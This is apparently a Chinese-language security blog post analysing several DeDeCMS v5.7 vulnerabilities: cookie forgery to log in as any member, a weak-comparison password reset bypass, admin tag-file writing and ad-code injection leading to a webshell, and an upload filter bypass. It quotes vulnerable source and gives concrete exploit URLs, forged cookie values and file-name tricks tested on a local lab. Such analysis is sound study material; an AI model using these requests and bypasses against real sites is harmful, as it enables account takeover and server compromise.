DeDeCMS-v5.7-漏洞分析

# DeDeCMS-v5.7-漏洞分析

cookie伪造导致任意前台用户登录

问题文件:/member/index.php

0×01 漏洞分析

在125-166行代码中,用于更新最近访客记录及站点统计记录的代码,当满足$vtime – $last_vtime > 3600 || !preg_match(‘#,’.$uid.’,#i’, ‘,’.$last_vid.’,')的时候且$last_vid的值为空的时候,会令$last_vid = $uid,然后在第164行中使用PutCookie(‘last_vid’, $last_vid, 3600*24, ‘/’);将cookie下发的客户端。

image-20200909095739053

dede在/include/common.inc.php中的第108-117行中,使用的外部变量注册的方法进行变量声明,因此此处的$uid是用户可控的位置。

    //var_dump($_REQUEST);exit;
    CheckRequest($_REQUEST);
	CheckRequest($_COOKIE);

    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v)
		{
			if($_k == 'nvarname') ${$_k} = $_v;
			else ${$_k} = _RunMagicQuotes($_v);
		}
    }
}

跟入PutCookie方法,/include/helpers/cookie.helper.php中的第21-29行中,发现该方法,在该方法中的第27行中将值与配置文件中的$cfg_cookie_encode进行拼接,然后进行MD5和截断处理substr(md5($cfg_cookie_encode.$value),0,16),然后下发到客户端。

/**
 *  设置Cookie记录
 *
 * @param     string  $key    键
 * @param     string  $value  值
 * @param     string  $kptime  保持时间
 * @param     string  $pa     保存路径
 * @return    void
 */
if ( ! function_exists('PutCookie'))
{
    function PutCookie($key, $value, $kptime=0, $pa="/")
    {
        global $cfg_cookie_encode,$cfg_domain_cookie;
        setcookie($key, $value, time()+$kptime, $pa,$cfg_domain_cookie);
        setcookie($key.'__ckMd5', substr(md5($cfg_cookie_encode.$value),0,16), time()+$kptime, $pa,$cfg_domain_cookie);
    }
}

而在文件/include/helpers/cookie.helper.php中的第54-75行中发现GetCookie方法的代码块,其中第65行用于校验客户端cookie是否进行了伪造,因此要进行cookie就自然想到要获取/data/config.cache.inc.php文件中的内容,需要存在任意文件读取或下载的漏洞,当然还有另外一种方式,就是利用用户第一次登录时候下发cookie的方法(PutCookie)直接生成cookie,这样的cookie定会通过cookie校验的方法(GetCookie)。

**
 *  获取Cookie记录
 *
 * @param     $key   键名
 * @return    string
 */
if ( ! function_exists('GetCookie'))
{
    function GetCookie($key)
    {
        global $cfg_cookie_encode;
        if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
        {
            return '';
        }
        else
        {
            if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
            {
                return '';
            }
            else
            {
                return $_COOKIE[$key];
            }
        }
    }
}

接下来需要查看登录位置的代码块,知晓登录时候cookie的生成规则是否是PutCookie,在文件/include/memberlogin.class.php中输入合规的loginuser和loginpwd便会执行PutLoginInfo。

       //matt=10 是管理员关连的前台帐号,为了安全起见,这个帐号只能从后台登录,不能直接从前台登录
        $row = $dsql->GetOne("SELECT mid,matt,pwd,logintime FROM `#@__member` WHERE userid LIKE '$loginuser' ");
        if(is_array($row))
        {
            if($this->GetShortPwd($row['pwd']) != $this->GetEncodePwd($loginpwd))
            {
                return -1;
            }
            else
            {
                //管理员帐号不允许从前台登录
                if($row['matt']==10) {
                    return -2;
                }
                else {
                    $this->PutLoginInfo($row['mid'], $row['logintime']);
                    return 1;
                }
            }
        }
        else
        {
            return 0;
        }

跟入PutLoginInfo方法,在文件/include/memberlogin.class.php中的第517-540行中发现了该方法的代码块,且在第531-539行中使用了PutCookie下发cookie。因此存在cookie的伪造漏洞。

    /**
     *  保存用户cookie
     *
     * @access    public
     * @param     string  $uid  用户ID
     * @param     string  $logintime  登录限制时间
     * @return    void
     */
    function PutLoginInfo($uid, $logintime=0)
    {
        global $cfg_login_adds, $dsql;
        //登录增加积分(上一次登录时间必须大于两小时)
        if(time() - $logintime > 7200 && $cfg_login_adds > 0)
        {
            $dsql->ExecuteNoneQuery("Update `#@__member` set `scores`=`scores`+{$cfg_login_adds} where mid='$uid' ");
        }
        $this->M_ID = $uid;
        $this->M_LoginTime = time();
        $loginip = GetIP();
        $inquery = "UPDATE `#@__member` SET loginip='$loginip',logintime='".$this->M_LoginTime."' WHERE mid='".$uid."'";
        $dsql->ExecuteNoneQuery($inquery);
        if($this->M_KeepTime > 0)
        {
            PutCookie('DedeUserID',$uid,$this->M_KeepTime);
            PutCookie('DedeLoginTime',$this->M_LoginTime,$this->M_KeepTime);
        }
        else
        {
            PutCookie('DedeUserID',$uid);
            PutCookie('DedeLoginTime',$this->M_LoginTime);
        }
    }

跟入检测登录状态的代码,在文件/include/memberlogin.class.php的第160-241行发现代码块,其中第170行检测cookie中的DedeUserID参数的值,合规在第185行中,传入数据库查询获得结果后,把结果展示在页面上。

       $this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
        $this->M_LoginTime = GetCookie("DedeLoginTime");
        $this->fields = array();
        $this->isAdmin = FALSE;
        if(empty($this->M_ID))
        {
            $this->ResetUser();
        }else{
            $this->M_ID = intval($this->M_ID);
            
            if ($cache)
            {
                $this->fields = GetCache($this->memberCache, $this->M_ID);
                if( empty($this->fields) )
                {
                    $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
                } else {
                    $formcache = TRUE;
                }
            } else {
                $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
            }

0x02 验证漏洞

访问链接获取伪造的cookie

http://127.0.0.1:9999/DedeCMS-v5.7/member/index.php?uid=user1

image-20200909103023212

使用user1账号登录。

image-20200909103213671

将last_vid的值赋给DedeUserID,last_vidckMd5的值赋给DedeUserIDckMd5修改后的cookie。页面刷新后跳转到admin用户中。

image-20200909103446009

任意修改前台用户密码

0x01 漏洞分析

\member\resetpassword.ph文件中的第96-95行,其中$row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer代码是问题的关键,默认$row['safequestion']在数据中的内容为0,$row['safeanswer']在数据库中的结果为空,且变量$safeanswer与$safequestion是用户可控制的变量,又使用了 ==进行判断, 因此该判断规则存在弱类型问题。
if(empty($safequestion)) $safequestion = ”;语句中,要使empty($safequestion) 为false且$row['safequestion'] == $safequestion为true,可以使用字符型的0.0,进行绕过。

image-20200917101211090

绕过后会进入sn的方法,跟入sn方法,在member\inc\inc_pwd_functions.php文件中第150-172行发现代码块,且该方法会调用newmail方法。

image-20200917101441564

跟入newmail方法,在member\inc\inc_pwd_functions.php文件中第73-123行中发现代码块,然后当传入的$send为N的时候便会下发重置密码的链接,进行密码修改操作。

image-20200917101537995

0x02 验证漏洞

先进行如下请求获取key

/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1

image-20200917101805707

key=tjDTYJqZ,获取到的key值是随机的

然后点击跳转链接便可以重置密码

http://192.168.1.2/dedecms-v5.7/member/resetpassword.php?dopost=getpasswd&id=1&key=tjDTYJqZ

image-20200917101916004

后台文件上传+文件包含getshell

0x01 漏洞分析

漏洞代码文件dede\tpl.php

/*---------------------------
function savetagfile() { }
保存标签碎片修改
--------------------------*/
else if($action=='savetagfile')
{
    csrf_check();
    if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
    {
        ShowMsg('文件名不合法,不允许进行操作!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
    $content = stripslashes($content);
    $truefile = DEDEINC.'/taglib/'.$filename;
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);

}

存在csrf_check()函数,请求中必须要带token参数。

这里的contentfilename变量可控。在content中直接写u人文件getshell。这里的文件名经过正则表达式,所以必须要.lib.php结尾。

0x02 验证漏洞

首先获取token

访问url:http://192.168.1.2/dedecms-v5.7/dede/tpl.php?action=upload

image-20200916145619187

源代码中获取token

image-20200916145418327

token值:6d0c1893e01a77e7e6ba24fb2dc7599c

然后访问url

http://192.168.1.2/dedecms-v5.7/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[token值]

http://192.168.1.2/dedecms-v5.7/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=<?php phpinfo();?>&token=6d0c1893e01a77e7e6ba24fb2dc7599c

image-20200916145848940

shell

http://192.168.1.2/dedecms-v5.7/include/taglib/moonsec.lib.php

image-20200916150001931

后台getshell

0x01 漏洞分析

ad_add.php文件中没有对输入的参数htmlcode进行过滤,在添加中嵌入恶意代码

<?php
/**
 * 广告添加
 *
 * @version        $Id: ad_add.php 1 8:26 2010年7月12日Z tianya $
 * @package        DedeCMS.Administrator
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
 
require(dirname(__FILE__)."/config.php");
CheckPurview('plus_广告管理');
require_once DEDEINC."/typelink.class.php";
if(empty($dopost)) $dopost = "";

if($dopost=="save")
{
    csrf_check();
    //timeset tagname typeid normbody expbody
    $tagname = trim($tagname);
    $row = $dsql->GetOne("SELECT typeid FROM #@__myad WHERE typeid='$typeid' AND tagname LIKE '$tagname'");
    if(is_array($row))
    {
        ShowMsg("在相同栏目下已经存在同名的标记!","-1");
        exit();
    }
    $starttime = GetMkTime($starttime);
    $endtime = GetMkTime($endtime);
    $link = addslashes($normbody['link']);
    if($normbody['style']=='code')
    {
        $normbody = addslashes($normbody['htmlcode']);
    }
    else if($normbody['style']=='txt')
    {
        
        $normbody = "<a href=\"{$link}\" font-size=\"{$normbody['size']}\" color=\"{$normbody['color']}\">{$normbody['title']}</a>";
    }
    else if($normbody['style']=='img')
    {
        if(empty($normbody['width']))
        {
            $width = "";
        }
        else
        {
            $width = " width=\"{$normbody['width']}\"";
        }
        if (empty($normbody['height']))
        {
            $height = "";
        }
        else
        {
            $height = "height=\"{$normbody['height']}\"";
        }
        $normbody = "<a href=\"{$link}\"><img src=\"{$normbody['url']}\"$width $height border=\"0\" /></a>";
    }
    else
    {
        if(empty($normbody['width']))
        {
            $width = "";
        }
        else
        {
            $width = " width=\"{$normbody['width']}\"";
        }
        if (empty($normbody['height']))
        {
            $height = "";
        }
        else
        {
            $height = "height=\"{$normbody['height']}\"";
        }
        $normbody = "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.Macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0\"$width $height><param name=\"movie\" value=\"{$link}\"/><param name=\"quality\" value=\"high\"/></object>";
    }
    $query = "
     INSERT INTO #@__myad(clsid,typeid,tagname,adname,timeset,starttime,endtime,normbody,expbody)
     VALUES('$clsid','$typeid','$tagname','$adname','$timeset','$starttime','$endtime','$normbody','$expbody');
    ";
    $dsql->ExecuteNoneQuery($query);
    ShowMsg("成功增加一个广告!","ad_main.php");
    exit();
}
$dsql->Execute('dd','SELECT * FROM `#@__myadtype` ORDER BY id DESC');
$option = '';
while($arr = $dsql->GetArray('dd'))
{
    $option .= "<option value='{$arr['id']}'>{$arr['typename']}</option>\n\r";
}
$startDay = time();
$endDay = AddDay($startDay,30);
$startDay = GetDateTimeMk($startDay);
$endDay = GetDateTimeMk($endDay);
include DedeInclude('templets/ad_add.htm');

0x02 漏洞利用

模块->广告管理->新建广告

在广告内容中恶意写入代码

image-20200916153937784

在数据库中查询到写入的信息

image-20200916160959743

查看在调用广告的文件

可以看到,在ad_js.php文件调用了该条数据

image-20200916154141870

查看ad_js.php文件

<?php
/**
 *
 * 广告JS调用方式
 *
 * @version        $Id: ad_js.php 1 20:30 2010年7月8日Z tianya $
 * @package        DedeCMS.Site
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
require_once(dirname(__FILE__)."/../include/common.inc.php");

if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');

$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
    $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
    $adbody = '';
    if($row['timeset']==0)
    {
        $adbody = $row['normbody'];
    }
    else
    {
        $ntime = time();
        if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
            $adbody = $row['expbody'];
        } else {
            $adbody = $row['normbody'];
        }
    }
    $adbody = str_replace('"', '\"',$adbody);
    $adbody = str_replace("\r", "\\r",$adbody);
    $adbody = str_replace("\n", "\\n",$adbody);
    $adbody = "<!--\r\ndocument.write(\"{$adbody}\");\r\n-->\r\n";
    $fp = fopen($cacheFile, 'w');
    fwrite($fp, $adbody);
    fclose($fp);
}
include $cacheFile;

然后是在网页上中执行了。

image-20200916160618772

0x03 其他方式

进入后台后,通过模块->文件管理器可以实现任意文件操作。这里可以写入shell。

image-20200917154137625

后台任意文件上传

0x01 漏洞分析

在文件include\dialog\select_images_post.php的第35行-40行中,其中36行将文件名中正则匹配到的内容替换为空白,且在38行检索文件名字中是否存在白名单中的文件格式,这两种做法均不是取文件的后缀名来进行判断的,所以存在被绕过的问题。

image-20200917143905436

在文件include\dialog\select_images_post.php的第57行-64行中,取文件的后缀名进行拼接和上传操作。存在检测方式与上传文件生成方式不一致的问题,导致被绕过.

image-20200917144104404

跟入$cfg_imgtypedata\config.cache.inc.php中的第18行发现了的上传类型格式限制。但是可以使用xxx.jpg.p%php,或xxx.jpg.p*hp等方式绕过,图片的格式满足config.cache.inc.php中的规定即可。

image-20200917144328226

0x02 漏洞验证

利用任意前台用户登录获取管理员,

PHPSESSID=nk1k8nlbnb5oretcflg7mmuem4; last_vtime=1600325294; last_vtime__ckMd5=a7b4ab604aa23dbd; last_vid=user1; last_vid__ckMd5=3ee7a9d83316984c

在发表文章页面上传图片

image-20200917152244430

抓包

image-20200917152226335

修改文件名

image-20200917152212576

image-20200917153159407

image-20200917153354980

posted @ 2020-09-28 09:43  |Thresh|  阅读(7077)  评论(0编辑  收藏  举报